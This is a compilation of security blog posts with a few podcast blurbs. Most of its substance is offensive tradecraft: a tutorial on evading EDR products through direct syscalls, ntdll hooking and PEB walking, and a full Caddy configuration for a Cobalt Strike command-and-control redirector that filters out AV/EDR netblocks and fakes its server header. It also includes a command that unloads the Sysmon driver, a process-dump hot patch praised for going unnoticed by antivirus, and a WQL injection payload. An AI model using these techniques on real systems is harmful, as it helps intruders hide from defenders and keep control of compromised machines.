now after we know how to manually invoke system calls, how do we define them in our program? simple, we declare them in a header file.
The example above shows the parameters being passed into the function NtCreateFile when it is called, as you can tell I placed the EXTERN_Csymbol before the function definition in order to tell the linker that the function is found elsewhere.
before compiling our executable we got to make the following steps, right-click on our project and perform the following:
Now enable masm:
Now we must edit our asm Item type to Microsoft Macro Assembler
With all of that out of the way, we include our header file in our main.cpp file and now we can use NtCreateFile directly! amazing, using the action we just did EDRs will not be able to see the actions we do when using the NtCreateFile function we created by using their user-mode hooks!
What if I don’t know how to invoke the NtAPI?
Well… to be honest, I did encounter this, my solution was simple, I did the same thing we just did for NtCreateFile for NtCreateUserProcess — BUT, I hooked the original NtCreateUserProcess using my own hook, and when it was called I redirect the execution flow back to my assembly function with all of the parameters that were generated by CreateProcesW which is pretty well documented and easy to use, therefore I avoided EDRs inspecting what I do when I use the NtCreateUserProcess syscall.
How can I hook APIs myself?
This is pretty simple as well, for that you need to use the following syscalls.
NtReadVirtualMemory, NtWriteVirtualMemory, and NtProtectVirtualMemory, with these syscalls combined we can install hooks into our process silently without the EDR noticing our actions. since I already explained how to Invoke syscalls I will leave you to research a little bit with google on how to identify the right syscall you want to use ;-) — for now, I will just show an example of an x64 bit hook on ntdll.dll!NtReadFile
In the above example we can see the opcodes for mov rax, <Hooking function>; jmp rax.
these opcodes are being written to the start of NtReadFile which means when our program will try to use NtReadFile it will be forced to jump onto our arbitrary function.
It is important to note, since ntdll.dll by default has only read and execute permissions we must also add a write permission to that sections of memory in order to write our hook there.
1.2 Windows API Hooking bypass — making our code portable
In order to maintain our code portable, we must match our code to any Windows OS build… well even though it sounds hard, It is really not that difficult.
In this section, I will show you a POC code to get the Windows OS build number, use that with caution, and improve the code later on after finishing the article and combine everything you learned here(If you finish the article you will have the tools in mind to do so).
The windows build number is stored at the — SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key, using this knowledge we will extract its value from the registry and store it in a static global variable.
after that we need to also create a global static variable that will store the last syscall that was called, this variable will have to be changed each time we call a syscall, this gives us the following code.
In order to dynamically get the syscall number, we need to somehow get it to store itself at the RAX register, for that we will create the following function.
As you can see in the example above, our function has a map dictionary that has a key, value based on the build number, and returns the right syscall number based on the currently running Windows OS build.
But how am I going to store the return value at the RAX dynamically?
Well, usually the return value of every function is stored at the RAX register once it runs, which means if you execute the following assembly code: call GetBuildNumberthe return value of the function will be stored at the RAX register, resulting in our wanted scenario.
BUT wait, it is not that easy, assembly can be annoying sometimes. each time we invoke a function call, from inside another function, the second function will run over the rcx, rdx, r8,r9 registers, resulting in the loss of the parameters that were sent to the first function, therefore we need to store the previous values in the stack, and restore them later on after we finish the GetBuildNumber function, this can be achieved with the following code
As you can see again, we tell the linker that the GetBuildNumber is an external function since it lives within our CPP code.
2. Imported native APIs — PEB and TEB explained.
Well if you think using direct syscalls will solve everything for you, you are a little bit mistaken, EDRs can also see which Native Windows APIs you are using such as GetModuleHandleW, GetProcAddress, and more, In order to overcome this issue we first MUST understand how to use theses functions without using these native APIs directly, here comes to our aid the PEB, the PEB is the Process Environment Block, which is contained inside the TEB, which is the Thread Environment Block, the PEB is always being located at the offset of 0x060 after the TEB (at x64 bit systems).
In the Windows OS, the TEB location is always being stored at the GS register, therefore we can easily find the PEB at the offset location of gs:[60h].
Let us go and follow the following screenshots in order to see in our own eyes how these offsets can be calculated.
this can be inspected using WinDbg using the command dt ntdll!_TEB
As we can see in the following screenshot at the offset of 0x060 we find the PEB structure, going further down our investigation we can find the Ldr in the PEB using the following command dt ntdll!_PEB
In the screenshot above we can see the Ldr is also located at 0x018 offset, the PEB LDR data contains another element that stores information about the loaded DLLs, let’s continue our exploration.
After going down further we see that at the Offset of 0x010 we find the module list (DLL) which will be loaded, using all of that knowledge we can now create a C++ code to get the base address of ntdll WITHOUT using GetModuleHandleW, but first, we must know what we are looking for in that list.
In the screenshot above we can see we are interested in two elements in the _LDR_DATA_TABLE_ENTRY structure, these elements are the BaseDllName, and the DllBase, as we can see the DllBase holds a void Pointer to the Dll base address, and the BaseDllName is a UNICODE_STRING structure, which means in order to read what is in the UNICODE_STRING we will need to access its Buffervalue.
This can also be simply be examined by looking at the UNICODE_STRING typedef at MSDN
Using everything we have learned so far we will create and use the following code in order to obtain a handle on the ntdll — dll.
After we gained a handle on our desired DLL, which is the ntdll.dll we must find the offset of its APIs(NtReadFile and etc.), this can also be achieved by mapping the sections from the DllBase address as an IMAGE, this can be done and achieved using the following code
After we got our functions ready, let’s do a little POC to see that we can actually get a handle on a DLL and find exported functions inside it.
Using the simple program we made above, we can see that we obtained a handle on the ntdll.dll. and found functions inside it successfully!
3. Summing things up
So we learned how to manually get a handle on a loaded module and use its functions, we learned how to hook windows syscalls, and we learned how to actually write our own using assembly.
combining all of our knowledge, we now can practically use everything we want, under the radar, evading the EDR big eyes, even install hooks on ntdll.dll using the PEB without using GetModuleHandleW, and without using any native windows API such as WriteProcessMemory, since we can execute the same actions using our own assembly, I will now leave you guys to modify the hooking code that I showed you before, with our PEB trick that we learned In this article ;-)
And that’s my friends, how I bypassed almost every EDR.
On today’s podcast, Cicero Chimbanda, Infosec Skills author and lecturer, discusses his cybersecurity leadership and management courses. We discuss the many paths of a cybersecurity leadership role, the soft skills that separate a good information security manager from a great one and why a baseline of cybersecurity knowledge can enhance any job, even if you don’t plan to pivot into the industry.
0:00 - Intro 3:37 - Getting into cybersecurity 6:43 - First learning cybersecurity 7:54 - Skills needed to move up 10:41 - CISM certification 13:00 - Two tracks of technology 15:13 - Are certifications important? 18:50 - Work as a college lecturer 22:43 - Important cybersecurity soft skills 27:40 - Cybersecurity leadership and management 32:33 - Where to go after security leadership 35:26 - Soft skills for cybersecurity managers 37:23 - Benefits to skills-based education 39:40 - Tips for lifelong learning 43:46 - Cybersecurity education’s future 45:21 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
On today’s podcast, John Bambenek of Netenrich and Bambenek Consulting talks about threat research, intelligence analytics, why the same security problems are so evergreen and the importance of pitching in a little extra bit of your time and talents to make the world a bit better than you found it.
0:00 - Intro 2:45 - Getting into cybersecurity 9:40 - Threat researcher versus security researcher and threat analyst 12:05 - How to get into a research or analyst role 16:32 - Unusual types of malware 19:03 - An ideal work day 23:06 - Current main threat actors 28:50 - What cybersecurity isn’t addressing 31:38 - Where can I volunteer? 36:02 - Skills needed for threat researchers 40:53 - Adjacent careers to threat research 45:11 - Threat research in five years 48:55 - Bambenek Consulting 49:35 - Learn more about Bambenek 50:26 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
TL;DR: we reproduced Denis Andzakovic’s proof-of-concept showing that it is possible to read and write data from a BitLocker-protected device (for instance, a stolen laptop) by sniffing the TPM key from the LCP bus. Authors: Thomas Dewaele & Julien Oberson Special thanks to Denis Andzakovic for his proof-of-concept and Joe Grand (@joegrand) for his hardware hacking … Continue reading TPM sniffing
On today’s podcast, Adam Flatley of Redacted talks about 14 years spent with the NSA and working in global intelligence. He also delineates the process of disrupting ransomware and cybercrime groups by dismantling organizations, putting on pressure and making the crime of ransomware more trouble than it’s worth!
0:00 - Intro 3:13 - Getting into cybersecurity 4:27 - Why work for the DoD? 6:37 - Average work day in threat intelligence 9:28 - Main security threats today 11:53 - Issues cybersecurity is ignoring 16:12 - Disrupting ransomware offensively 23:00 - How to handle ransomware 25:07 - How do I fight cybercriminals 27:15 - How to convey self learning on a resume 28:24 - Security recommendations for your company 31:40 - Logistics of changing security 34:40 - Cybercrime in five years 36:57 - Learn about Redacted 39:18 - Learn more about Adam 40:00 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
The consultant’s life is a difficult one. New business, new setup and sometimes you gotta do everything in a hurry. We are not a top notch security company with a fully automated infra. We are poor, rookies and always learning from the best.
We started by reading several blogposts that can be found on the net, written by people much more experienced than us, realizing that redirectors are almost always based on apache and nginx, which are great solutions! but we wanted to explore other territories…
despite the posts described above that are seriously top notch level, we decided to proceed taking inspiration from our fellow countryman Marcello aka byt3bl33d3r which came to the rescue!
As you can see from his post, Marcello makes available to us mere mortals a quick configuration, which prompted us to want to deepen the argument
Why Caddy Server ?
Caddy was born as an opensource webserver specifically created to be easy to use and safe. it is written in go and runs on almost every platform.
The added value of Caddy is the automatic system that supports the ability to generate and renew certificates automatically through let’s encrypt with basically no effort at all.
Another important factor is the configurative side that is very easy to understand and more minimalist, just what we need!
Let’s Configure!
do you remember byt3bl33d3r’s post listed just above ? (Of course, you wrote it 4 lines higher…) let’s take a cue from it!
First of all let’s install Caddy Server with the following commands:
Once installed, let’s go under /opt and create a folder named /caddy or whatever you like
And inside create the Caddyfile
At this point let’s populate the/caddy with our own Caddyfile and relative folder structure and configurations
To make things clearer, here we have a tree of the structure we are going to implement:
The actual Caddyfile
The filters folder, which will contain our countermeasures and defensive mechanisms ( wtf are you talking about there is a bunch of crap inside here)
the sites folder, which will contain the domains for our red team operation and relative logfiles
the upstreams folder, which will contain the entire upstreams part
the www folder, which will contain the sites if we want to farm a categorization for our domains, like hosting a custom index.html or simply clone an exsiting one because we are terrible individuals.
# This are the default ports which instruct caddy to respond where all other configuration are not matched
:80, :443 {
# Default security headers and custom header to mislead fingerprinting
header {
import filters/headers_standard.caddy
}
# Just respond "OK" in the body and put the http status code 200 (change this as you desire)
respond "OK" 200
}
#Import all upstreams configuration files (only with .caddy extension)
import upstreams/*.caddy
#Import all sites configuration files (only with .caddy extension)
import sites/*.caddy
We decided to keep the Caddyfile as clean as possible, spending some more time structuring and modulating the .caddy files
FILTERS folder
This folder contain all basic configuration for the web server, for example:
list of IP to block
list of User Agents (UA) to block
default implementation of security headers
bad_ips.caddy
remote_ip mal.ici.ous.ips
Still incomplete but usable list we crafted can be found here: https://github.com/her0ness/av-edr-urls/blob/main/AV-EDR-Netblocks
bad_ua.caddy
This will block all User-Agent we don’t want to visit our domain.
header User-Agent curl*
header User-Agent *bot*
A very well done bad_ua list can be found, for example, here: https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-user-agents.list
headers_standard.caddy
# Add a custom fingerprint signature
Server "Apache/2.4.50 (Unix) OpenSSL/1.1.1d"
X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
X-Content-Type-Options "nosniff"
# disable FLoC tracking
Permissions-Policy interest-cohort=()
# enable HSTS
Strict-Transport-Security max-age=31536000;
# disable clients from sniffing the media type
X-Content-Type-Options nosniff
# clickjacking protection
X-Frame-Options DENY
# keep referrer data off of HTTP connections
Referrer-Policy no-referrer-when-downgrade
# Do not allow to cache the response
Cache-Control no-cache
We decided to hardly customize the response Server header to mislead any detection based on response headers.
SITES folder
You may see this folder similar to sites-available and sites-enabled in nginx; where you store the whole host configuration.
Example front-end redirector (cdn.aptortellini.cloud.caddy)
From our experience ( false, we are rookies) this file should contain a single host because we have decided to uniquely identify each individual host, but feel free to add as many as you want, You messy!
https://cdn.aptortellini.cloud {
# Import the proxy upstream for the cobalt beacon
import cobalt_proxy_upstream
# Default security headers and custom header to mislead fingerprinting
header {
import ../filters/headers_standard.caddy
}
# Put caddy logs to a specified location
log {
output file sites/logs/cdn.aptortellini.cloud.log
format console
}
# Define the root folder for the content of the website if you want to serve one
root * www/cdn.aptortellini.cloud
file_server
}
UPSTREAMS folder
the file contains the entire upstream part, the inner part of the reverse proxy has been voluntarily detached because it often requires individual ad-hoc configurations
cobalt_proxy_upstreams
Handle Directive: Evaluates a group of directives mutually exclusively from other handle blocks at the same level of nesting.
The handle directive is kind of similar to the location directive from nginx config: the first matching handle block will be evaluated. Handle blocks can be nested if needed.
To make things more comprehensive, here we have the sample of http-get block adopted in the Cobalt Strike malleable profile:
# Just a fancy name
(cobalt_proxy_upstream) {
# This directive instruct caddy to handle only request which begins with /ms/ (http-get block config pre-defined in the malleable profile for testing purposes)
handle /ms/* {
# This is our list of User Agents we want to block
@ua_denylist {
import ../filters/bad_ua.caddy
}
# This is our list of IPs we want to block
@ip_denylist {
import ../filters/bad_ips.caddy
}
header {
import ../filters/headers_standard.caddy
}
# Respond 403 to blocked User-Agents
route @ip_denylist {
redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier site which provides services for the company you are targeting ( sneaky move I know..)
}
# Respond 403 to blocked IPs
route @ip_denylist {
redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier website which provides services for the company you are targeting ( sneaky move I know..)
}
# Reverse proxy to our cobalt strike server on port 443 https
import reverse_proxy/cobalt.caddy
}
}
REVERSE PROXY folder
The reverse proxy directly instruct the https stream connection to forward the request to the teamserver if the rules above are respected.
Cobalt Strike redirector to HTTPS endpoint
reverse_proxy https://<cobalt_strike_endpoint> {
# This directive put the original X-Forwarded-for header value in the upstream X-Forwarded-For header, you need to use this configuration for example if you are behind cloudfront in order to obtain the correct external ip of the machine you just compromised
header_up X-Forwarded-For {http.request.header.X-Forwarded-For}
# Standard reverse proxy upstream headers
header_up Host {upstream_hostport}
header_up X-Forwarded-Host {host}
header_up X-Forwarded-Port {port}
# Caddy will not check for SSL certificate to be valid if we are defining the <cobalt_strike_endpoint> with an ip address instead of a domain
transport http {
tls
tls_insecure_skip_verify
}
}
WWW
This folder is reserved if you want to put a website in here and manually categorize it
Or..
take a cue from those who do things better than we do:
https://github.com/mdsecactivebreach/Chameleon
Starting Caddy
Once started, caddy will automatically obtain the SSL certificate. Remember to start Caddy in the same folder where you placed your Caddyfile!
sudo caddy start
To reload the configuration, you can just run the following command in the root configuration folder of Caddy
sudo caddy reload
Getting a CS Beacon
Everything worked as expected and the beacon is obtained
A final thought
This blogpost is just the beginning of a series focused on making infrastructures for offensive security purposes, in the upcoming months we will expand the section with additional components.
With this we just wanted to try something we never tried before, and we know there are multiple ways to expand the configuration or make it even better, so, if you are not satisfied with what we just wrote, feel free to offend us: we won’t take it personally, promise.
On today’s podcast, Kyle McNulty of Secure Ventures talks about interviewing the people behind the most up-and-coming cybersecurity startups. We discuss the best advice he’s received on the show, how to get your own podcast off the ground and his own security startup, ConsultPlace.
0:00 - Intro 2:40 - Getting into cybersecurity 6:00 - McNulty’s education and career 9:50 - Getting into consulting and startups 14:08 - Secure Ventures podcast 17:45 - Best insight from a podcast guest 20:13 - Startup stories 22:10 - Startups during COVID 23:42 - Advice for startups 25:22 - How to begin a podcast 33:25 - Tips for cybersecurity newcomers 35:04 - Upcoming podcasts 36:15 - ConsultPlace work 38:00 - Find more about McNulty 38:42 - Outro
I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.
The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.
dbgcore.dll!_MiniDumpWriteDump@28
faultrep.dll!InternalGenerateMinidumpEx(void *,unsigned long,void *,struct tagSMDumpOptions *,unsigned short const *,int)
faultrep.dll!InternalGenerateMinidump(void *,unsigned long,unsigned short const *,struct tagSMDumpOptions *,int)
faultrep.dll!CreateMinidumpW(unsigned long,unsigned short const *,struct tagSMDumpOptions *)
As you see it calls the dbghelp!MiniDumpWriteDump by loading the dbghelp.dll using the LoadLibraryExW API.
However, this function ‘faultrep.dll!InternalGenerateMinidumpEx’ doesn’t provide a full dump. As you can see it passes 0x21 or it compares the 3rd argument which is a structure and based on that value it passes 0x325.
This is the PoC of calling this API. You can copy the DLL from Windows XP and it will work fine. Not sure how this is useful. Just sharing what I found
UPDATE: I wrote a hot patch for both 32-bit and 64-bit faultrep DLLs. It will allow you to get a full process dump passing MiniDumpWithFullMemory as the MINIDUMP_TYPE. Tested on Windows XP 32-bit and 64-bit. On other systems by copying the original DLLs in the same folder will work fine. You can find the repo with DLL files from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump/Hot%20Patch
Some uses
I was in an engagement today and tried with success the CreateMinidump_HotPatch of @OsandaMalith in both win2003 x32 and Win10 x64. Especially in Windows 10 Symantec did not complain at all!!! pic.twitter.com/kKS1KqEqpa
The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:
fltMC unload SysmonDrv
If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.
Here’s a simple C code I wrote to call the ‘FilterUnload’ API.
Generally in application security, the user input must be sanitized. When it comes to SQL injection the root cause most of the time is because the input not being sanitized properly. I was curious about Windows Management Instrumentation Query Language – WQL which is the SQL for WMI. Can we abuse WQL if the input is not sanitized?
I wrote a simple application in C++ which gets the service information from the Win32_Service class. It will display members such as Name, ProcessId, PathName, Description, etc.
This is the WQL Query.
SELECT * FROM win32_service where Name='User Input'
As you can see I am using the IWbemServices::ExecQuery method to execute the query and enumerte its members using the IEnumWbemClassObject::Next method.
BSTR input = L"SELECT * FROM win32_service where Name='User Input'";
if (FAILED(hRes = pService->ExecQuery(L"WQL", input, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnumerator))) {
pLocator->Release();
pService->Release();
cout << "Unable to retrive Services: 0x" << std::hex << hRes << endl;
return 1;
}
IWbemClassObject* clsObj = NULL;
int numElems;
while ((hRes = pEnumerator->Next(WBEM_INFINITE, 1, &clsObj, (ULONG*)&numElems)) != WBEM_S_FALSE) {
if (FAILED(hRes)) break;
VARIANT vRet;
VariantInit(&vRet);
if (SUCCEEDED(clsObj->Get(L"Name", 0, &vRet, NULL, NULL))
&& vRet.vt == VT_BSTR) {
wcout << L"Name: " << vRet.bstrVal << endl;
VariantClear(&vRet);
}
Once the user enters a service name the application will display its members.
I was thinking if it’s possible to make the query true and return all the services of the target host. Something like id=1 or 1=1 in SQLi where we make the statement logically true.
Since the user input is not properly sanitized in this case we can use the and keyword and enumerate all the services by using the like keyword.
SELECT * FROM win32_service where Name='Appinfo' or name like '[^]%'
You could simply use “%” as well.
This is just a simple demonstration to prove WQL injection. I’m sure there might be better cases to demonstrate this. However, Extended WQL which is a superset of the WQL can be used to combine statements and do more cool stuff. It’s used by the System Center Configuration Manager – SCCM. Always sanitize the input of the application.